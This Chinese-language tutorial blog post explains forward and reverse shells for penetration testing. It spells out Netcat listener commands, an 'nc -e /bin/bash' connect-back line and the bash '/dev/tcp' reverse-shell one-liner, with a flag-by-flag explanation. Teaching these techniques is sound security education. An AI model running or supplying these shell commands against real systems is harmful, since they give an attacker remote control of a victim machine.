网络安全之反弹Shell

网络安全之反弹Shell

在网络安全和渗透测试领域,"正向Shell"(Forward Shell)和"反向Shell"(Reverse Shell)是两种常用的技术手段,用于建立远程访问目标计算机的会话。这两种技术都可以让攻击者在成功渗透目标系统后执行命令,但它们在建立连接的方式上有所不同。

正向Shell(Forward Shell)

概念

在正向Shell的场景中,攻击者机器作为客户端,主动连接到受害者机器上事先设置好的监听端口。这种方式通常要求受害者机器在外网上具有可访问的开放端口,或者在内网中能够被攻击者机器直接访问。

这种方法的局限性在于,如果受害者机器位于防火墙后或没有公网IP,攻击者可能无法直接连接到受害者机器的监听端口上。

● 攻击者在受害者机器系统上设置一个在特定端口上监听的服务(比如一个Web服务器)。

● 攻击者从自己的机器上,使用一个客户端工具(如Netcat)主动连接到受害者机器的这个服务上。

一旦建立了连接,攻击者就可以通过这个会话向受害者机器发送命令并接收执行结果。

正向Shell示例

● 攻击者在受害者机器上设置监听,使用Netcat监听某个端口

shell 复制代码
nc -lvnp 9999

参数的含义:

● l 代表监听模式

● v 代表详细输出

● n 代表不解析主机名

● p 指定使用的端口

  • 攻击者机器主动连接受害者机器
shell 复制代码
nc 192.168.0.106 9999 -e /bin/bash

这个命令具体是用来建立一个网络连接,并在连接成功后执行一个指定的程序(在这种情况下是 /bin/bash)。

● nc: 这是 Netcat 的命令行工具调用指令,用于启动 Netcat 程序

● 192.168.0.105: 这是受害者机器的 IP 地址,即 Netcat 尝试连接的远程计算机的地址。这个 IP 地址应该替换为实际想要连接的服务器或计算机的 IP 地址。

● 9999: 这是受害者机器上 Netcat 监听的端口号。在执行这个命令之前,受害者机器上应该有一个 Netcat 进程在此端口上监听进入的连接。

● -e /bin/bash: 这个选项是 Netcat 命令的一个参数,用于指定在建立连接后立即执行的程>序。/bin/bash 是一个 Shell,提供了一个命令行界面,允许用户执行各种命令。

● -e 参数告诉 Netcat,一旦连接建立,就执行指定的程序。这里指定的 /bin/bash 将会启动一个 bash shell。

反向Shell(Reverse Shell)

概念

反向Shell的工作方式与正向Shell相反。在这种场景中,是受害者机器主动连接到攻击者的机器上。攻击者首先在自己的机器上设置一个监听特定端口的服务,然后诱使受害者机器执行一个命令或脚本,使其主动连接回攻击者的监听端口。

● 攻击者在自己的机器上使用Netcat等工具监听一个端口(例如 nc -lvvp 9999)。

● 攻击者诱使受害者机器执行一个反向Shell脚本或命令,该脚本配置目标机器连接回攻击者机器的监听端口(例如使用bash、Python等语言编写的脚本)。

● 一旦受害者机器执行了该脚本,它就会主动连接到攻击者的监听端口,从而允许攻击者通过这个会话执行命令。

反向Shell示例

● 攻击者机器上先开启监听端口

shell 复制代码
nc -lvvp 9999

● 受害者机器上再执行bash命令

shell 复制代码
bash -i >& /dev/tcp/192.168.0.105/9999 0>&1

它的作用是在受害者的机器上执行,以建立一个从受害者机器到攻击者机器的连接,并通过这个连接提供一个交互式Shell会话。如下是详细解释:

● bash -i:启动一个交互式的bash会话。-i参数使bash在交互模式下运行,允许用户输入命令。

● >&:这是重定向操作符,用于将标准输出(STDOUT)重定向到另一个位置。在这个命令中,它被用来将bash会话的输出重定向到网络连接上。

● /dev/tcp/192.168.0.105/9999:这是一个特殊的文件路径,利用bash的内置功能来创建TCP连接。/dev/tcp/<目标IP>/<目标端口>用于建立到指定IP地址和端口的TCP连接。在这个例子中,它尝试连接到IP地址192.168.0.105上的9999端口。

● 0>&1:这是另一个重定向操作符,用于将标准输入(STDIN)重定向到标准输出(STDOUT)。在这个上下文中,它的作用是确保从网络连接收到的输入(例如,攻击者发送的命令)被bash会话读取并执行。

当这条命令在受害者机器上执行时,它会尝试连接到攻击者指定的IP地址192.168.0.105和端口9999上。一旦连接建立,攻击者就可以通过这个连接发送命令,受害者的bash会话将执行这些命令并将输出发送回攻击者,从而允许攻击者远程控制受害者的机器。

反向Shell的优势在于,即使目标机器位于NAT或防火墙后面,只要它能够出站到互联网,就能建立连接。这使得反向Shell成为绕过访问控制,实现远程命令执行的一种非常有效的手段。

相关推荐
ALe要立志成为web糕手9 小时前
SESSION_UPLOAD_PROGRESS 的利用
python·web安全·网络安全·ctf
jingshaoyou15 小时前
Strongswan linked_list_t链表 注释可独立运行测试
数据结构·链表·网络安全·list
鹅肝手握高V五色17 小时前
Wireshark入门教程:如何抓取和过滤网络数据包
websocket·网络协议·tcp/ip·http·网络安全·https·udp
nixiaoge19 小时前
RCE漏洞
网络安全
禾木KG20 小时前
网络安全-等级保护(等保) 1-0 等级保护制度公安部前期发文总结
网络安全
网络抓包与爬虫20 小时前
Wireshark——抓包分析
websocket·网络协议·tcp/ip·http·网络安全·https·udp
仙女很美哦21 小时前
Flutter视频播放、Flutter VideoPlayer 视频播放组件精要
websocket·网络协议·tcp/ip·http·网络安全·https·udp
CYRUS STUDIO1 天前
Unidbg Trace 反 OLLVM 控制流平坦化(fla)
android·汇编·算法·网络安全·逆向·ollvm
写代码的小王吧1 天前
【Java可执行命令】(十)JAR文件签名工具 jarsigner:通过数字签名及验证保证代码信任与安全,深入解析 Java的 jarsigner命令~
java·开发语言·网络·安全·web安全·网络安全·jar